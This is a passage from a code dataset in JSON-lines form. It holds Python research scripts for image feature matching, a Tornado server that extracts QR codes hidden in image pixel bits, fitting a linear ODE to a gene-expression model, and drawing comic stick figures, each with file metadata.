(sift_iss_correspond_dir, submap_id)\n if not os.path.exists(txt_folder):\n os.makedirs(txt_folder)\n txt_file_path = \"%s/%s.txt\" % (txt_folder, cam_id)\n top_k = 10\n with open(txt_file_path, \"w\") as file:\n for i in range(dist_array.shape[0]):\n #min_dist_id = np.argmin(dist_array[i,:])\n min_dist_id = np.argsort(dist_array[i,:])[:top_k]\n idx = np.concatenate((np.array([i+1]), min_dist_id+1))\n #print(idx)\n idx=idx.reshape(1, idx.shape[0])\n np.savetxt(file, idx,fmt='%d')\n \nif __name__ == '__main__':\n \n load_version = 'v1_2_1000'\n \n# date_time = '2014-07-14-15-16-36'\n \n submap_id = 119 #116-121\n \n sift_test_root = '/media/mengdan/data3/robotcar/grasshopper/sift_patch_test/' + date_time + '/'\n iss_test_root = '/media/mengdan/data3/robotcar/grasshopper/iss_volume_test/' + date_time + '/' \n\n # read test data\n sift_test_list, iss_test_list = readTestData(sift_test_root, iss_test_root) \n # test \n test(load_version, sift_test_list, iss_test_list, submap_id)\n ", "sub_path": "code_network/test_256.py", "file_name": "test_256.py", "file_ext": "py", "file_size_in_byte": 10662, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.listdir", "line_number": 68, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 71, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 74, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 83, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "read_dataset.Data", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 114, "usage_type": "attribute"}, {"api_name": "read_dataset.Data", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 129, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 150, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 152, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 157, "usage_type": "call"}, {"api_name": "vgg16.vgg16", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 161, "usage_type": "call"}, {"api_name": "pointNet.pointNet", "line_number": 162, "usage_type": "call"}, {"api_name": "pointNet.pointNet", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tensorflow.all_variables", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path", "line_number": 245, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 256, "usage_type": "call"}]} +{"seq_id": "598177257", "text": "import tornado.ioloop\nimport tornado.web\nimport qrcode\nimport json\nimport pybase64\nimport math\nimport io\nfrom PIL import Image\nfrom pyzbar.pyzbar import decode\nfrom PIL.PngImagePlugin import PngImageFile, PngInfo\nimport random\n\nSETTING_BITS_NUM = 2500\nCONFIG_QRCODE_WIDTH = 46\n\nclass DataExtractor(tornado.web.RequestHandler):\n\t# CORS_ORIGIN = '*'\n\t# CORS_HEADERS = 'Content-Type'\n\t# CORS_METHODS = 'POST'\n\t\n\tdef set_default_headers(self):\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')\n\t\t\n\t# extract a single bit from the rgb value\n\tdef extract_qrcode_bit(self, rgbH, pageNum):\n\t\trH, gH, bH = rgbH\n\t\tpixelBit = '1'\n\t\tif pageNum == 0:\n\t\t\tpixelBit = rH[7:8]\n\t\telif pageNum == 1:\n\t\t\tpixelBit = rH[6:7]\n\t\telif pageNum == 2:\n\t\t\tpixelBit = gH[7:8]\n\t\telif pageNum == 3:\n\t\t\tpixelBit = gH[6:7]\n\t\telif pageNum == 4:\n\t\t\tpixelBit = bH[7:8]\n\t\telif pageNum == 5:\n\t\t\tpixelBit = bH[6:7]\n\t\t\t# the final value of this pixel\n\t\t\t# print(pixelBit, 'pixelBit == 0', pixelBit == '0', 'pixelBit == 1', pixelBit == '1')\n\t\treturn pixelBit\t\t\n\n\t# transform the int type to binary type\n\tdef __int_to_bin(self, rgb):\n\t\t\"\"\"Convert an integer tuple to a binary (string) tuple.\n\t\t:param rgb: An integer tuple (e.g. (220, 110, 96))\n\t\t:return: A string tuple (e.g. (\"00101010\", \"11101011\", \"00010110\"))\n\t\t\"\"\"\n\t\t# r, g, b, o = rgb\n\t\treturn ('{0:08b}'.format(rgb[0]),\n\t\t\t\t'{0:08b}'.format(rgb[1]),\n\t\t\t\t'{0:08b}'.format(rgb[2]))\t\n\n\t# judge whether the pixel is black\n\tdef is_black(self, qrcodePixel):\n\t\tisBlack = True\n\t\tfor i in range(len(qrcodePixel)):\n\t\t\tif qrcodePixel[i] == 255:\n\t\t\t\tisBlack = False\n\t\t\t\tbreak\n\t\treturn isBlack\n\n\t# judge whether the pixel is white\n\tdef is_white(self, qrcodePixel):\n\t\tisWhite = True\n\t\tfor i in range(len(qrcodePixel)):\n\t\t\tif qrcodePixel[i] == 0:\n\t\t\t\tisWhite = False\n\t\t\t\tbreak\n\t\treturn isWhite\n\n\t# extract the bit list from host image\n\tdef extract_qrcode_bit_list(self, hostImage, hostImageHideChannel):\n\t\thostImageWidth = hostImage.size[0]\n\t\thostImageHeight = hostImage.size[1]\n\t\thostImageMap = hostImage.load()\n\t\tqrCodeBitList = []\n\t\tfor i in range(hostImageHideChannel):\n\t\t\tfor j in range(hostImageWidth):\n\t\t\t\tfor k in range(hostImageHeight):\n\t\t\t\t\trgbH = self.__int_to_bin(hostImageMap[j, k])\n\t\t\t\t\tqrcodeBit = int(self.extract_qrcode_bit(rgbH, i))\n\t\t\t\t\tqrCodeBitList.append(qrcodeBit)\n\t\treturn qrCodeBitList\n\n\t# parse the string information from the Qrcode image list\n\tdef parse_encoding_str(self, extractQrcodeImgList):\n\t\tparseEncodingStr = ''\n\t\tfor i in range(len(extractQrcodeImgList)):\n\t\t\tqrcodeImg = extractQrcodeImgList[i]\n\t\t\tqrcodeImgResult = decode(qrcodeImg)\n\t\t\t# qrcodeImg.show()\n\t\t\tif (len(qrcodeImgResult) > 0):\n\t\t\t\tparseEncodingStr = parseEncodingStr + qrcodeImgResult[0].data.decode('utf-8')\n\t\treturn parseEncodingStr\n\n\t# assemble the qrcode image from the extracted bit list\n\tdef revert_qrcode_image_list(self, extractQrcodeImgBitList, qrCodeCellMaxLen, qrCodeCellNum, qrCodeNum):\n\t\tqrCodeSideLen = qrCodeCellMaxLen * qrCodeCellNum\n\t\tqrcodeImgList = []\n\t\tqrcodeBitIndex = 0\n\t\twholeQRcodeNum = math.floor(len(extractQrcodeImgBitList) / (qrCodeSideLen * qrCodeSideLen))\n\t\tprint('extractQrcodeImgBit length', len(extractQrcodeImgBitList), 'qrCodeSideLen', qrCodeSideLen)\n\t\tprint('qrCodeNum', qrCodeNum, 'wholeQrcodeNum', wholeQRcodeNum)\n\t\tif qrCodeNum > wholeQRcodeNum:\n\t\t\tqrCodeNum = wholeQRcodeNum\n\t\t# TODO\n\t\t# qrCodeNum = 1\n\t\tfor i in range(qrCodeNum):\n\t\t\tinitQRCodeImg = Image.new(mode = \"RGB\", size = (qrCodeSideLen, qrCodeSideLen))\n\t\t\tinitQRCodeImgMap = initQRCodeImg.load()\n\t\t\tfor j in range(qrCodeSideLen):\n\t\t\t\tfor k in range(qrCodeSideLen):\n\t\t\t\t\tif extractQrcodeImgBitList[qrcodeBitIndex] == 1:\n\t\t\t\t\t\tinitQRCodeImgMap[j, k] = (255, 255, 255)\n\t\t\t\t\telif extractQrcodeImgBitList[qrcodeBitIndex] == 0:\n\t\t\t\t\t\tinitQRCodeImgMap[j, k] = (0, 0, 0)\n\t\t\t\t\tqrcodeBitIndex += 1\n\t\t\t# initQRCodeImg.show()\n\t\t\t# qrcodeImgStr = decode(initQRCodeImg)\n\t\t\t# print('qrcodeImgStr', qrcodeImgStr)\n\t\t\tqrcodeImgList.append(initQRCodeImg)\n\t\treturn qrcodeImgList\n\n\t# correct the pixel color in the image\n\tdef correct_qrcode_image_list(self, extractQrcodeImgList, qrCodeCellMaxLen):\n\t\tfor i in range(len(extractQrcodeImgList)):\n\t\t\tqrcodeImg = extractQrcodeImgList[i]\n\t\t\tqrcodeImgMap = qrcodeImg.load()\n\t\t\tqrcodeImgWidth = qrcodeImg.size[0]\n\t\t\t# print('qrcodeImgWidth', qrcodeImgWidth)\n\t\t\tfor cellX in range(0, (qrcodeImgWidth), qrCodeCellMaxLen):\n\t\t\t\tfor cellY in range(0, (qrcodeImgWidth), qrCodeCellMaxLen):\n\t\t\t\t\tsumBlackBitNum = 0\n\t\t\t\t\tsumWhiteBitNum = 0\n\t\t\t\t\tcellColor = (255, 255, 255)\n\t\t\t\t\tfor localX in range(qrCodeCellMaxLen):\n\t\t\t\t\t\tfor localY in range(qrCodeCellMaxLen):\n\t\t\t\t\t\t\tpixelX = cellX + localX\n\t\t\t\t\t\t\tpixelY = cellY + localY\n\t\t\t\t\t\t\tif self.is_black(qrcodeImgMap[pixelX, pixelY]):\n\t\t\t\t\t\t\t\tsumBlackBitNum += 1\n\t\t\t\t\t\t\tif self.is_white(qrcodeImgMap[pixelX, pixelY]):\n\t\t\t\t\t\t\t\tsumWhiteBitNum += 1\n\t\t\t\t\t# correct bits in Qrcode\n\t\t\t\t\t# if sumWhiteBitNum != 0 and sumBlackBitNum != 0:\n\t\t\t\t\t# \t\tprint('sumWhiteBitNum', sumWhiteBitNum, 'sumBlackBitNum', sumBlackBitNum)\n\t\t\t\t\tif sumBlackBitNum > sumWhiteBitNum:\n\t\t\t\t\t\t# set black\n\t\t\t\t\t\tcellColor = (0, 0, 0)\n\t\t\t\t\telif sumBlackBitNum < sumWhiteBitNum:\n\t\t\t\t\t\t# set white\n\t\t\t\t\t\tcellColor = (255, 255, 255)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# set the color (white or black) of this pixel randomly \n\t\t\t\t\t\tif random.random() > 0.5:\n\t\t\t\t\t\t\tcellColor = (0, 0, 0)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcellColor = (255, 255, 255)\n\t\t\t\t\t# set the pixel color of whole cell\n\t\t\t\t\tfor localX in range(qrCodeCellMaxLen):\n\t\t\t\t\t\tfor localY in range(qrCodeCellMaxLen):\n\t\t\t\t\t\t\tpixelX = cellX + localX\n\t\t\t\t\t\t\tpixelY = cellY + localY\n\t\t\t\t\t\t\tqrcodeImgMap[pixelX, pixelY] = cellColor\n\t\treturn extractQrcodeImgList\n\n\tdef assembleResultObj(self, messageType, message, extractStr=\"\"):\n\t\treturn {\n\t\t\t'type': messageType,\n\t\t\t'message': message,\n\t\t\t'extractStr': extractStr\n\t\t}\n\n\tdef get(self):\n\t\tself.write(\"Hello, world\")\n\n\tdef post(self):\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')\n\t\trequestBinary = self.request.body\n\t\trequestStr = requestBinary.decode()\n\t\timgdatahead, imgdatacontent = requestStr.split(\",\")\n\t\tprint('imgdatahead', imgdatahead)\n\t\t# extract the parameters from the imgdatahead\n\t\tqrCodeNum = 0\n\t\tqrCodeCellNum = 179\n\t\tqrCodeCellMaxLen = 2\n\t\t# store the qrcode data into the imagedatacontent\n\t\timgdata = pybase64.b64decode(imgdatacontent)\n\t\thostImage = Image.open(io.BytesIO(imgdata))\n\t\t# evaluate whether the image is suitable for decoding\n\t\t# if hasattr(hostImage, 'text'):\n\t\t# \tEmbedInfoObj = hostImage.text\n\t\t# \tprint('EmbedInfoObj', EmbedInfoObj)\n\t\t# \tif 'qrCodeNum' in EmbedInfoObj and 'qrCodeCellNum' in EmbedInfoObj and 'qrCodeCellMaxLen' in EmbedInfoObj:\n\t\t# \t\tqrCodeNum = int(EmbedInfoObj['qrCodeNum'])\n\t\t# \t\tqrCodeCellNum = int(EmbedInfoObj['qrCodeCellNum'])\n\t\t# \t\tqrCodeCellMaxLen = int(EmbedInfoObj['qrCodeCellMaxLen'])\n\t\t# \t\tprint('qrCodeNum', qrCodeNum, 'qrCodeCellNum', qrCodeCellNum, 'qrCodeCellMaxLen', qrCodeCellMaxLen)\n\t\t# \telse:\n\t\t# \t\tnotCompleteInfoMessage = 'The properties of this image are not complete.'\n\t\t# \t\tresultObj = self.assembleResultObj('error', notCompleteInfoMessage)\n\t\t# \t\tself.write(json.dumps(resultObj))\n\t\t# \t\treturn\n\t\t# else:\n\t\t# \tnotEmbedInfoMessage = 'The image does not embed other information.'\n\t\t# \tresultObj = self.assembleResultObj('error', notEmbedInfoMessage)\n\t\t# \tprint('resultObj', resultObj)\n\t\t# \tresultObjStr = json.dumps(resultObj)\n\t\t# \tself.write(resultObjStr)\n\t\t# \treturn\n\t\thostImageWidth = hostImage.size[0]\n\t\thostImageHeight = hostImage.size[1]\n\t\thostImageHideChannel = 6\n\t\t# the parsing part, extract the bit list of qrcode image from the host image\n\t\textractQrcodeImgBitList = self.extract_qrcode_bit_list(hostImage, hostImageHideChannel)\n\t\tprint('finish extract_qrcode_bit_list')\n\t\tconfigQrcodeBitSize = CONFIG_QRCODE_WIDTH * CONFIG_QRCODE_WIDTH\n\t\textractConfigQrcodeImgBitList = extractQrcodeImgBitList[:configQrcodeBitSize]\n\t\tprint('length', len(extractQrcodeImgBitList), 'CONFIG_QRCODE_WIDTH', CONFIG_QRCODE_WIDTH)\n\t\tqrcodeBorderWidth = 1\n\t\tconfigQrCodeModule = 1\n\t\tconfigQrCodeCellMaxLen = 2\n\t\t # the side length of the qrcode content plus the border width\n\t\tconfigQrCodeCellNum = (configQrCodeModule * 4 + 17) + qrcodeBorderWidth * 2\n\t\tconfigExtractQrcodeImgList = self.revert_qrcode_image_list(extractConfigQrcodeImgBitList, configQrCodeCellMaxLen, configQrCodeCellNum, 1)\n\t\tcorrectConfigExtractQrcodeImgList = self.correct_qrcode_image_list(configExtractQrcodeImgList, qrCodeCellMaxLen)\n\t\textractConfigStr = self.parse_encoding_str(correctConfigExtractQrcodeImgList)\n\t\tprint('extractConfigStr', extractConfigStr)\n\t\t[qrCodeNumStr, qrcodeModuleStr, qrCodeCellMaxLenStr] = extractConfigStr.split(' ')\n\t\tqrCodeNum = int(qrCodeNumStr)\n\t\tqrcodeModule = int(qrcodeModuleStr)\n\t\tqrCodeCellMaxLen = int(qrCodeCellMaxLenStr)\n\t\tqrCodeCellNum = (qrcodeModule * 4 + 17) + qrcodeBorderWidth * 2\n\t\tprint('qrCodeNum', qrCodeNum, 'qrCodeCellNum', qrCodeCellNum, 'qrCodeCellMaxLen', qrCodeCellMaxLen)\n\t\t#\n\t\tprint('length', len(extractQrcodeImgBitList))\n\t\textractContentQrcodeImgBitList = extractQrcodeImgBitList[SETTING_BITS_NUM:]\n\t\t# revert the qrcode image list from the qrcode image bit list\n\t\textractQrcodeImgList = self.revert_qrcode_image_list(extractContentQrcodeImgBitList, qrCodeCellMaxLen, qrCodeCellNum, qrCodeNum)\n\t\tprint('finish extract_qrcode_bit_list')\n\t\tcorrectedExtractQrcodeImgList = self.correct_qrcode_image_list(extractQrcodeImgList, qrCodeCellMaxLen)\n\t\tprint('finish qrcode correction')\n\t\t# extract the qrcode image to the inner string\n\t\textractStr = self.parse_encoding_str(extractQrcodeImgList)\n\t\tprint('finish parse_encoding_str')\n\t\tsuccessMessage = \"Extract the information from the image successfully!\"\n\t\t# print('extractStr', extractStr)\n\t\tresultObj = self.assembleResultObj('success', successMessage, extractStr)\n\t\tself.write(json.dumps(resultObj))\n\t\tprint('finish decoding')\n\t\treturn\n", "sub_path": "server/DataExtractor.py", "file_name": "DataExtractor.py", "file_ext": "py", "file_size_in_byte": 10066, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tornado.ioloop.web", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 16, "usage_type": "name"}, {"api_name": "pyzbar.pyzbar.decode", "line_number": 94, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 105, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 113, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 113, "usage_type": "name"}, {"api_name": "random.random", "line_number": 159, "usage_type": "call"}, {"api_name": "pybase64.b64decode", "line_number": 194, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 195, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 195, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 195, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 255, "usage_type": "call"}]} +{"seq_id": "338590950", "text": "import numpy as np\nimport torch\nimport os\nimport sys\nimport matplotlib.pyplot as plt\n#from torchdiffeq import odeint\nfrom torchdiffeq import odeint_adjoint as odeint\n\nsys.path.append('/home/cwildne/code/linear_memory')\nfrom linear_memory.linear_memory import LinearMemory\nimport linear_memory.utils as ut\nfrom import_utils import add_path\n\nadd_path('pyssa')\nimport pyssa.ssa as ssa\nimport pyssa.models.standard_models as sm\n\nadd_path('pymbvi')\nfrom pymbvi.models.mjp.autograd_partition_specific_models import SimpleGeneExpression\nfrom pymbvi.util import num_derivative, autograd_jacobian\n\ntorch.manual_seed(2007301620)\n\n# get simulation model\npre, post, rates = sm.get_standard_model(\"simple_gene_expression\")\n\n# prepare initial conditions\ninitial = np.array([0.0, 1.0, 0.0, 0.0])\ntspan = np.array([0.0, 3e3])\n\n# set up gene expression model\nmoment_initial = np.zeros(9)\nmoment_initial[0:3] = initial[1:4]\nmodel = SimpleGeneExpression(moment_initial, np.log(np.array(rates)), tspan)\n\n\nclass LinearODE(torch.nn.Module):\n\n def __init__(self, A, b):\n super(LinearODE, self).__init__()\n self.A = torch.nn.Parameter(A)\n self.b = torch.nn.Parameter(b)\n\n def forward(self, time, state):\n dydt = self.A @ state + self.b\n return(dydt)\n\n\n# get A for linear gene expression model\nrates = torch.tensor(rates).log()\nmoment_initial = torch.tensor(moment_initial)\ndef fun(state):\n tmp = model.forward_torch(0.0, state, torch.zeros(rates.shape), rates)\n return(tmp)\nA = autograd_jacobian(fun, moment_initial)\nb = fun(torch.zeros(moment_initial.shape))\nmodel = LinearODE(A, b)\n\n# compute true solution\nt_eval = torch.arange(tspan[0], tspan[1], 20)\nwith torch.no_grad():\n sol = odeint(model, moment_initial, t_eval)\n\n# reset model parameters\nmodel.A = torch.nn.Parameter(torch.zeros(model.A.shape))\nmodel.b = torch.nn.Parameter(torch.zeros(model.b.shape))\n\n# get data\nt_data = t_eval[0::15]\ndata = sol[0::15]\n\n# optimizer \nparams = model.parameters()\n#optimizer = torch.optim.SGD(params, lr=1e-10)\noptimizer = torch.optim.LBFGS(params, lr=1e-2)\n\ndef loss_fn(predict, data):\n predict = odeint(model, moment_initial, t_data)\n loss = torch.sum(((predict-data)/(data+1))**2)\n return(loss)\n\ndef loss_stat(model, data):\n mean = data.mean(axis=0)\n loss = torch.sum(model.forward(0.0, mean)**2)\n return(loss)\n\ndef l1(model):\n loss = 0.0\n for p in model.parameters():\n loss += torch.abs(p).sum()\n return(loss)\n\ndef l2(model):\n loss = 0.0\n for p in model.parameters():\n loss += torch.sum(p**2)\n return(loss)\n\ndef closure():\n if torch.is_grad_enabled():\n optimizer.zero_grad()\n loss = loss_fn(model, data) + 10*l1(model)\n if loss.requires_grad:\n try:\n loss.backward()\n except:\n print(\"Error during backpropgation\")\n return(loss)\n\n# fit\nmax_epoch = 500\nloss_history = []\nsave_path = os.path.dirname(os.path.realpath(__file__)) + '/data/learn_linear_ode_train.pt'\nmsg = 'Loss in epoch {0} is {1}'\nfor epoch in range(max_epoch):\n loss = optimizer.step(closure)\n loss_history.append(loss.item())\n with torch.no_grad():\n #loss1 = loss_stat(model, data)\n loss2 = 10*l1(model)\n print(msg.format(epoch, loss.item()))\n #print('Stationary loss is {}'.format(loss1))\n print('Parameter loss is {}'.format(loss2))\n # save\n torch.save({'epoch': epoch,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss_history': torch.tensor(loss_history)}, save_path)\nwith torch.no_grad():\n sol_final = odeint(model, moment_initial, t_eval)\n\n# # plot\n# for i in range(8):\n# plt.subplot(3, 3, i+1)\n# plt.plot(t_eval, sol[:, i], '-b')\n# plt.plot(t_eval, sol_final[:, i], '-r')\n# plt.plot(t_data, data[:, i], 'xk')\n# plt.show()\n", "sub_path": "examples/gene_expression/learn_linear_ode.py", "file_name": "learn_linear_ode.py", "file_ext": "py", "file_size_in_byte": 3870, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "import_utils.add_path", "line_number": 14, "usage_type": "call"}, {"api_name": "import_utils.add_path", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 22, "usage_type": "call"}, {"api_name": "pyssa.models.standard_models.get_standard_model", "line_number": 25, "usage_type": "call"}, {"api_name": "pyssa.models.standard_models", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "pymbvi.models.mjp.autograd_partition_specific_models.SimpleGeneExpression", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "pymbvi.util.autograd_jacobian", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 61, "usage_type": "call"}, {"api_name": "torchdiffeq.odeint_adjoint", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.optim.LBFGS", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torchdiffeq.odeint_adjoint", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.is_grad_enabled", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 129, "usage_type": "call"}, {"api_name": "torchdiffeq.odeint_adjoint", "line_number": 130, "usage_type": "call"}]} +{"seq_id": "208889231", "text": "import cairocffi as cairo\nimport collections\nimport math\nimport random\nimport z3\n\nfrom comic import handdraw\nfrom comic import geom\nfrom comic import text\n\n\nDialog = collections.namedtuple(\"Dialog\", \"speaker text\")\n\n\ndef make_stick_figure(s, name):\n stick_figure = geom.Rectangle(s, name)\n s.add(stick_figure.width == 140, stick_figure.height == 225)\n return stick_figure\n\n\ndef draw_stick_figure(ctx):\n # head\n head_radius = 25 + random.randint(-2, 2)\n handdraw.circle(ctx, 25 + random.randint(-5, 5), 27, head_radius)\n\n # eyes\n right_eye_y = 25 - 5 + random.randint(-2, 2)\n\n handdraw.dot(ctx, 25 + 10 + random.randint(-2, 2), right_eye_y)\n handdraw.dot(ctx,\n 25 - 10 + random.randint(-2, 2),\n right_eye_y + random.randint(-2, 2))\n\n # mouth\n ctx.move_to(25 - 10 + random.randint(-2, 2),\n 25 + 10 + random.randint(-2, 2))\n handdraw.line(ctx,\n 25 + 10 + random.randint(-2, 2),\n 25 + 10 + random.randint(-2, 2))\n ctx.close_path()\n\n # body\n leg_point = 125 + random.randint(-5, 25)\n ctx.move_to(25, 25 + head_radius)\n handdraw.line(ctx, 25, leg_point)\n ctx.close_path()\n\n # arms\n arm_point = 60 + random.randint(-5, 25)\n ctx.move_to(25, arm_point)\n handdraw.line(ctx,\n 0 + random.randint(-12, 12), 125 + random.randint(-12, 12))\n ctx.close_path()\n\n ctx.move_to(25, arm_point)\n handdraw.line(ctx,\n 50 + random.randint(-12, 12), 125 + random.randint(-12, 12))\n ctx.close_path()\n\n # legs\n ctx.move_to(25, leg_point)\n handdraw.line(ctx,\n 0 + random.randint(-12, 12),\n leg_point + 40 + random.randint(-12, 12))\n ctx.close_path()\n\n ctx.move_to(25, leg_point)\n handdraw.line(ctx,\n 50 + random.randint(-12, 12),\n leg_point + 40 + random.randint(-12, 12))\n ctx.close_path()\n\n\nclass Panel(object):\n def __init__(self, stick_figures, dialog_texts):\n self.stick_figures = stick_figures\n self.dialog_texts = dialog_texts\n\n def draw(self, ctx, width, height):\n def make_adjoining_line(s, top, bottom, name):\n adjoining_line = geom.Line(s, name)\n s.add(line_frame_constraints(adjoining_line))\n\n s.add(adjoining_line.y0 - top.bottom == 10,\n bottom.top - adjoining_line.y1 == 10,\n adjoining_line.x0 == top.center,\n adjoining_line.x1 == bottom.center)\n\n return adjoining_line\n\n def rect_frame_constraints(rect):\n return z3.And([rect.left >= 0, rect.right <= width,\n rect.top >= 0, rect.bottom <= height])\n\n def line_frame_constraints(line):\n return z3.And([line.x0 >= 0, line.x0 <= width,\n line.x1 >= 0, line.x1 <= width,\n line.y0 >= 0, line.y0 <= height,\n line.y1 >= 0, line.y1 <= height])\n\n s = z3.Optimize()\n\n stick_figures = {}\n stick_figure_list = []\n\n speaker_dialogs = {}\n label_rects = []\n\n ascent, descent, h, max_x_advance, max_y_advance = ctx.font_extents()\n\n for i, label in enumerate(self.stick_figures):\n stick_figure = make_stick_figure(s, \"stick_figure_\" + str(i))\n stick_figures[label] = stick_figure\n stick_figure_list.append(stick_figure)\n\n speaker_dialogs[label] = []\n\n x_bearing, y_bearing, w, _, x_advance, y_advance = ctx.text_extents(label)\n\n label_rect = geom.Rectangle(s, \"label_\" + str(i))\n s.add(rect_frame_constraints(label_rect),\n stick_figure.bottom >= int(0.8 * height),\n label_rect.width == w, label_rect.height == h,\n label_rect.left >= 50, label_rect.right <= (width - 